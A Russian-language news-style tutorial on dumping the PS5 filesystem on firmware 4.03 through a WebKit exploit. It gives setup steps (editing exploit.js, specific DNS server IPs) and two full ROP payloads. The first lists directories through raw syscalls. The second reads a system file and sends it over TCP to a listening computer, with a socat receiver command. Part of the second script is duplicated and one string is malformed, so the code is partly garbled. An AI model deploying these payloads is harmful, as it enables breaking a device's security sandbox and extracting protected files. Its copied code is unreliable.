Бесплатно Экспресс-аудит сайта:

17.05.2022

Взлом PS5: Скрипты для дампинга файловой системы на консолях с прошивкой 4.03

Специализирующийся на взломе PlayStation хакер Bigboss опубликовал скрипты ROP (возвратно-ориентированного программирования) для перечисления и вывода данных из файловой системы PS5 с версией прошивки 4.03 с помощью webkit эксплоита. Конечно, получить весь дамп файлов не выйдет, а только файлы, доступные через разрешения webkit. Тем не менее, благодаря этому можно получить ясную картину файлов PS5.

Дампинг файловой системы PS5 с пошивкой 4.03. Инструкция

Наверное, это очевидно, но для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.

Необходимо будет модифицировать выполнение ROP в пользовательском пространстве. Эти файлы были выпущены ChendoChap и ZnullPtr некоторое время назад и доступны здесь .

После строчки 650 скрипта exploit.js (alert(`sys_getpid: ${pid}`);), скорее всего, потребуется удалить раздел образцов (Threading Sample и Branch Sample) и заменить их представленным ниже кодом от Bigboss.

Далее нужно сохранить полученные файлы на сервере и загрузить index.html через браузер PS5 (например, можно воспользоваться одним из DNS от Al-Azif: 165.227.83.145 или 192.241.221.79, получить доступ к странице с руководством для пользователя на PS5, а затем воспользоваться URL-переадресатором).

Скрипт для перечисления файлов и папок (также дает имя строке sandbox, полупроизвольное имя папки под конкретного пользователя):

let directory=malloc(256,1);   p.writestr(directory.add32(0),"/");   let retopen=await chain.syscall(5,directory,0,0);   let directoryBuffer=malloc(1024*1024,1);   let directorySize=1024*1024;   let retgetdent=await chain.syscall(272,retopen,directoryBuffer,directorySize);   let numbytes=parseInt(retgetdent,16);   let entry;   let num_entry=0;    let d_fileno;   let d_reclen;   let d_type;   let d_namelen;   let d_name;   let position=0;   for(position=0;position<numbytes;){      entry=directoryBuffer.add32(position);      d_fileno=p.read4(entry.add32(0));        d_reclen=p.read2(entry.add32(4));      d_type=p.read1(entry.add32(6));        d_namelen=p.read1(entry.add32(7));      d_name=p.readstr(entry.add32(8));     alert("num_entry=${num_entry} d_reclen=${d_reclen} d_type=${d_type} d_namelen=${d_namelen} d_name=${d_name} position=${position}");      position=position+d_reclen;      parseInt(position)+parseInt(d_reclen,16);       num_entry++;    } 

Скрипт для создания дампа файла в целевом файле на компьютере:

//POST EXPLOIT STUFF HERE   //change once per file name   //use for example in your pc socat -u TCP-LISTEN:18194,reuseaddr OPEN:ScePlayReady.self,creat,trunc   let tcpsocket=await chain.syscall(97,2,1,0);   alert(`sys_socket: ${tcpsocket}`);   let tcpsocketaddr=malloc(16,1);   p.write1(tcpsocketaddr.add32(1),2);   p.write2(tcpsocketaddr.add32(2),0x1247);   //change ip for your pc   p.write4(tcpsocketaddr.add32(4),0xCD01A8C0); //192(C0)168(A8)1(01)205(CD)   alert(`before sys_connect`);   let ret_tcpconnect=await chain.syscall(98,tcpsocket,tcpsocketaddr,16);   alert(`sys_connect: ${ret_tcpconnect}`);   //the right way is to use stat get size but this is quick and dirty test   let tcpmessage=malloc(34406400,1);   let tcpmessage_size=34406400;   let file=malloc(256,1);   p.writestr(file.add32(0),"/RcDZV3xbd4/common/lib/ScePlayReady.self");//example path /RcDZV3xbd4/common/lib/ScePlayReady.self, change RcDZV3xbd4 to your sandbox string   let retopen_file=await chain.syscall(5,file,0,0);   alert(`syscall_open return ${retopen_file}
`);   let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size);   alert(`before sys_sendto read ${file_read}`);   let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0);   alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`);   let ret_close=await chain.syscall(6,tcpsocket);   alert(`sys_close: ${ret_close}`);   alert(`syscall_open return ${retopen_file}
`);   let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size);   alert(`before sys_sendto read ${file_read}`);   let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0);   alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`);   let ret_close=await chain.syscall(6,tcpsocket);   alert(`sys_close: ${ret_close}`);   //size used was for a self file   //after all this your ScePlayReady.self file is created and closed

Конечно, энтузиасты, работающие над взломом PS5, уже наверняка получили файлы с помощью этого механизма (и, вероятно, смогли получить еще больше другими способами), но для тех, кто просто хочет посмотреть, как это делается, представленные выше скрипты являются самым простым способом.